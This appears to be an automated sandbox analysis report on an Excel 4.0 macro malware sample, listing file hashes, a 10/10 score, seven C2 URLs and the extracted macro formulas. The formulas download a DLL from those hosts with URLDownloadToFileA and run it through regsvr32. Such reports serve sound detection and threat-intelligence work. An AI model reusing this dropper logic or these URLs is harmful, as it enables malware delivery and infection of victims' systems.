General

  • Target

    393774bcb58bbdc9e20fbc4bc7375078dd7a853ec0cdb9ebdef2c8a064d5adbf

  • Size

    20KB

  • Sample

    241120-jrfytstcpc

  • MD5

    e469f9d9ca43b609e82396c8913fa586

  • SHA1

    954d8d894f47e4de2ae9288b6c8ea15ee0611415

  • SHA256

    393774bcb58bbdc9e20fbc4bc7375078dd7a853ec0cdb9ebdef2c8a064d5adbf

  • SHA512

    d916c4303582b8de4c0ff2f6bf7fb1cc64f675da681f3052f5f4d5512cca8109a6111e38c4235b4d21a7b212a137282eaccd9e6ed2efbda135bc8ebed4553a7d

  • SSDEEP

    384:iQZAVb1GNjJITo4CGzPd6ZIwVKb5CzgObff9kC+xbX7zL0crX:iTINqTo4FL3CBn9kC+xbLHjj

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/

http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/

http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/

http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/

http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/

http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/

http://autoat.mx/assets/VljikBuT029PkSBfrc/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://autoat.mx/assets/VljikBuT029PkSBfrc/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.bridgewien.at/admin/9Osvbo9caA4QYishnWka/

xlm40.dropper

http://bartboutens.nl/cgi-bin/aPqSkCZXI3ueRdI/

xlm40.dropper

http://aleph.org.ng/wp-includes/k8YwVWkrdmUM9/

xlm40.dropper

http://alkautsarlampung.sch.id/belajar/WQlNleMJKoulGBUvgC9/

xlm40.dropper

http://automyjniafordon.bydgoszcz.pl/123/mOWZgMaL/

xlm40.dropper

http://www.annuncisiciliani.it/app/3l1ZgVfwIEiIcGelh/

xlm40.dropper

http://autoat.mx/assets/VljikBuT029PkSBfrc/

Targets

    • Target

      393774bcb58bbdc9e20fbc4bc7375078dd7a853ec0cdb9ebdef2c8a064d5adbf

    • Size

      20KB

    • MD5

      e469f9d9ca43b609e82396c8913fa586

    • SHA1

      954d8d894f47e4de2ae9288b6c8ea15ee0611415

    • SHA256

      393774bcb58bbdc9e20fbc4bc7375078dd7a853ec0cdb9ebdef2c8a064d5adbf

    • SHA512

      d916c4303582b8de4c0ff2f6bf7fb1cc64f675da681f3052f5f4d5512cca8109a6111e38c4235b4d21a7b212a137282eaccd9e6ed2efbda135bc8ebed4553a7d

    • SSDEEP

      384:iQZAVb1GNjJITo4CGzPd6ZIwVKb5CzgObff9kC+xbX7zL0crX:iTINqTo4FL3CBn9kC+xbLHjj

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks